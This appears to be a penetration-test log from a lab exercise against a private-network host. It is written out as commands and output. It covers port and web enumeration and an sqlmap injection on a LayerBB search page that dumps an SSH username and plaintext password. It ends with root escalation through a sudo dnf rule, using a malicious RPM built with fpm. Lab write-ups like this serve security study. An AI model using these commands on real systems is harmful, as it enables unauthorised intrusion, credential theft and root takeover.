JS01

๐Ÿงช Pentest Log: {{date:2025-08-31}}

๐Ÿ” Target Information

ip=10.11.2.242

๐Ÿ“ก Enumeration

๐Ÿ”Œ Port Scanning

Command Used

ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt

nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt

Port 21

Port 22

Port 80

Web Content Enumeration

gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt

dirsearch -u http://$ip -r -o dirsearch.txt

wpscan --url http://$ip
LayerBB 1.1.3

Google for exploit, found

https://www.exploit-db.com/exploits/49593

๐Ÿ’ฃ Exploitation

๐Ÿ“Œ Vulnerability Summary

๐Ÿš€ Exploit Execution

๐Ÿ”ง Exploit Method

Tool / Script Used:

sqlmap -u "http://10.11.1.68/search.php" --data "search_query=asdfadf&time_from=&time_to=&user_search=on&search_type=advanced&search_submit=Search" --batch --dump -D ssh -T ssh_users
+----+-------------------+----------+
| ID | password          | username |
+----+-------------------+----------+
| 1  | FEder1K01!@ssw0rd | Federik  |
+----+-------------------+----------+
ssh federik@$ip

๐Ÿงฌ Privilege Escalation

๐Ÿ‘ค Current Access

๐Ÿ” Enumeration

Sudo:

sudo -l

Found

User federik may run the following commands on localhost:
    (root) NOPASSWD: /usr/bin/dnf

๐Ÿ”“ Privilege Escalation Exploit

๐Ÿ“Œ Exploit Summary

๐Ÿ”ง Exploit Steps

TF=$(mktemp -d)
echo 'id' > $TF/x.sh
fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF
sudo dnf -y --disablerepo='*' --nogpgcheck install ./x-1.0-1.noarch.rpm
b3g7bnca98utgbk2dy9c